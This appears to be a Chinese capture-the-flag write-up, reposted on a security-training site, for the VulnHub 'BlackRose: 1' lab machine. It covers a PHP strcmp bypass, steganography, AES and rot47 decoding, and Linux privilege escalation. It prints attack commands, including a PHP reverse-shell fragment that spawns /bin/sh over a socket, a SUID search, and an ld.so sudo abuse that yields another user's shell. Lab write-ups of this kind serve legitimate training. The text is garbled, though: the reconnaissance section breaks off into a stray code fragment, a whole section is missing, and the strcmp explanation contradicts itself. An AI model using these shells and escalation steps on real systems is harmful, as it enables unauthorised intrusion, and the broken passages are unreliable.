当前位置:网站首页 > 网络安全培训 > 正文

BlackRose: 1-VulnHub

freebuffreebuf 2020-09-08 328 0

本文来源:雷石安全实验室

0x01 下载

下载地址:https://www.vulnhub.com/entry/blackrose-1,509/

由于国外访问较慢,这里下载后的文件已经传到了网盘

网盘链接:

https://pan.baidu.com/s/1FGc7RPXnerkcydqN9i86Gw

提取码:5whz

PS:下载vulnhub里面的镜像可以使用FDM这款工具,挂到机器上慢慢下。

0x02 安装

这里推荐直接使用virtualbox,因为VM安装会报如下错误。

这里网上是有解决方案的,但是直接用virtualbox他不香么。直接导入即可。

导入后选择内部网络intent就好,这个是一个独立的内网,

所以说我们的物理机是无法访问到靶机的,需要把其他的虚拟机添加到这个网络中。

例如kali,添加时也选择内部网络,然后配置kali的IP就行,这里因为在内网中没有相关DHCP服务器,所以需要手工分配静态IP,配置到相关网段即可。

0x03 知识点

3.1 PHP strcmp()函数

int strcmp( string $str1 , string $str2 ),用来比较两个字符串的值,

参数 str1第一个字符串。

str2第二个字符串。如果 str1 小于 str2 返回 0;如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

当传入的值不符合期望的类型就会报错,在php5.3以前,在报错信息显示后,将return 0,这也就导致了漏洞的产生。

后面的版本中修复了这个漏洞,使得报错的时候函数不返回任何值。

3.2 passwordverify与passwordhash函数

string password_hash ( string $password , int $algo [, array $options ] )

PASSWORD_DEFAULT - 使用 bcrypt 算法 (PHP 5.5.0 默认)

PASSWORD_BCRYPT- 使用 CRYPT_BLOWFISH 算法创建散列。

PASSWORD_ARGON2I- 使用 Argon2 散列算法创建散列。

bool password_verify ( string $password , string $hash )

password_verify() 函数用于验证密码是否和散列值匹配。

3.3 ld.so滥用

ld.so 是 Unix(https://baike.baidu.com/item/Unix/21994)或类Unix系统上的动态链接器。

当应用程序需要使用动态链接库里的函数时,由ld.so负责加载。

在渗透时可以通过修改环境变量,让高权限程序加载恶意动态链接库,从而获取更高的权限。

3.4 二进制文件逆向与AES解密

文件的逆向没什么好讲的,拖进去直接就能看到代码逻辑。

后边所用到的AES解密是需要去猜测的,一般有key的话就是对称加密算法,常见的对称加密算法有DES、3DES、Blowfish、IDEA、RC 4、RC5、RC6 和 AES。

这个没什么捷径,只能尝试去一个一个猜解。

同时秘钥长度为8,转换成字节就是32位,通过这个信息缩小些范围。

3.5 图片隐写工具

Steghide是一个可以将文件隐藏到图片或音频中的工具

安装:apt install steghide

隐藏文件

steghide embed -cf [文件载体] -ef [待隐藏文件]

查看文件信息

steghide info [文件]

提取隐藏信息

steghide extract -sf [文件]

3.6 简单的WAF绕过

php中可以使用()进行连接绕过检查

3.7 linux权限提升

参考网站:https://payatu.com/guide-linux-privilege-escalation

对linux中的提权总结的挺好的,在玩靶机的过程中,主要使用了SUID的查找,配置不当和特权命令来提升权限。

0x04 探测$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);'

转换成标准的输入输出:python -c 'import pty; pty.spawn("/bin/bash")'

0x06 权限提升 - yourname

6.1 www-data到delx

linux权限提升的几种方式:

内核提权,SUID提权,高权限应用,sudo等。

这里不存在内核漏洞

先找一下 find / -perm -u = s -type f 2> / dev / null

1599552671.png

然而并没有什么可以值得利用的,接着查看sudo权限和用户sudo -l

发现了delx用户有动态链接库文件ld.so,执行sudo -u delx /bin/ld.so /bin/bash,

获取delx权限

6.2 加密与解密

即可切换到delx用户下,

执行find / -type f -user delx 2>/dev/null,找到了一些有趣的文件

showpasswd是一个执行文件,但实际上执行后会显示一条消息。

遇到这种情况就要分析代码了。使用scp命令将该文件传到本机

使用ida打开,很直观的就可以看到其代码逻辑,执行了一系列的字符串判断。

简单分析后得到了gqSFGqAJ 字符串。

然而这个时候并不知道这个字符串有什么用途,又到了脑洞时间。

在文件还有一长串字符串没有用到,猜测是需要使用字符串当key去解。

一番搜索后,发现是AES加密,

使用 在线网站(http://asencryption.net/)进行解密,

可以得到一个字符串:RkZiPVkvxykJVOmxBmitBPeJXqFuxM

6.3 图片隐写获取密码

这里有一个点,就是首页背景图片中也隐藏了信息,需要用上面的key进行解密。

查看内容为:s)M8Z=7|8/&YY-zK5L$.w3Su'Q@nGR

这个密码看起来依旧是加密的,经过查找,发现是rot47

解密出来是:DX|g+lfMg^U**\Kzd{S]Hb$FV"o?v#

使用该密码登入yourname这个用户,获取第一个文件。

0x07 权限提升 - root

依旧先使用sudo -l命令查看相关命令执行权限,发现blackrose这个命令,

执行后发现还是无法读取root文件。

看起来是存在了某种限制,经过一番搜索后,发现可以使用PHP后缀文件。

发现这个程序还过滤了一些高危函数。

绕过以后成功获取root权限

0x08 结语

靶场的质量挺高的,CTF说实话跟渗透的差别还是有的,解这个靶机跟做题差不多,需要思考作者的用意。

另外就是平时知识的积累,偶尔渗透累了,做做靶机涨涨技术也是不错滴。

转载请注明来自网盾网络安全培训,本文标题:《BlackRose: 1-VulnHub》

标签:VulnHub

猜你喜欢

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表